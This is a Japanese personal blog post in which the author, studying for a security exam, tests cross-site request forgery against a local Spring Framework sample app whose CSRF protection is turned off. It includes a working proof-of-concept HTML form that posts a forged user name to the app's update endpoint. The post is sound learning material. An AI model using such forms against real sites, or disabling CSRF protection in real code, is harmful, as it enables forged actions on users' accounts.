Itsukaraの日記

最新IT技術を勉強・実践中。最近はDeep Learningに注力。

Spring FrameworkでのCSRF対策無効化のテスト

最近、最新情報へのキャッチアップのため、情報処理安全確保支援士試験とSpring Frameworkを勉強中。

情報処理安全確保支援士試験の教科書にCSRFのことが書かれているが、実際に試すことが出来ず残念と思っていたところ、Spring Frameworkの本の「10.4 CSRF対策」にCSRF対策を無効化したコード書かれていたので、試してみることにした。

  • Spring Frameworkの本【後悔しないための入門書】Spring解体新書の10章記載のCSRF対策を無効化したコードをEclipseで起動してlogin画面を表示後、yamada@xxx.co.jpでloginし、ユーザー管理画面からyamada@xxx.co.jpの詳細を表示する(下記が表示例)。なお、コードはダウンロードできるが、ダウンロード場所は本に書かれているので、本を参照のこと。ちなみに、この本は980円と安いので買っても良いし、Amazon kindle unlimitedの30日間お試しで無料で読むのも良い。
f:id:Itsukara:20210214220146p:plain
ユーザー詳細画面
  • 上記をブラウザで表示後、下記の更新ボタンをクリックする。


ユーザID
パスワード
ユーザ名
誕生日
年齢
結婚 既婚
未婚

  • すると、上記の記載内容、例えば偽のユーザ名などがhttp://localhost:8080/userDetailにPOSTされ、下記のような画面に移行する。つまり、CSRFによって、Eclipseで動いたサイトが乗っ取られたということ。
f:id:Itsukara:20210214221851p:plain
CSRF攻撃後のユーザー一覧
  • なお、CSRF対策を無効にしなければ、下記のようにエラーとなる。
f:id:Itsukara:20210214223516p:plain
CSRF対策後の結果
  • ちなみ、上記の更新ボタンをクリックするのが不安な方は、下記のコードをコピーして、CSRF-Attack.htmlといったファイルに保管してブラウザで開いても同じ内容が表示される。
<!DOCTYPE html>
<body>
<form method="post" action="http://localhost:8080/userDetail">
    <table><tbody>
        <tr>
            <th>ユーザID</th>
            <td> <input type="text" readonly="readonly" id="userId" name="userId" value="yamada@xxx.co.jp"> </td>
        </tr>
        <tr>
            <th>パスワード</th>
            <td> <input type="text" id="password" name="password" value=""> </td>
        </tr>
        <tr>
            <th>ユーザ名</th>
            <td> <input type="text" id="userName" name="userName" value="偽の山田太郎"> </td>
        </tr>
        <tr>
            <th>誕生日</th>
            <td> <input type="text" placeholder="yyyy/MM/dd" id="birthday" name="birthday" value="1999/12/31"> </td>
        </tr>
        <tr>
            <th>年齢</th>
            <td> <input type="text" id="age" name="age" value="21"> </td>
        </tr>
        <tr>
            <th>結婚</th>
            <td>
                <input type="radio" name="marriage" value="true" id="marriage1">既婚 <br />
                <input type="radio" name="marriage" value="false" id="marriage2" checked="checked">未婚
            </td>
        </tr>
    </tbody></table>
    <button type="submit" name="update">更新</button>
</form>

</body>
</html>
  • 参考にした本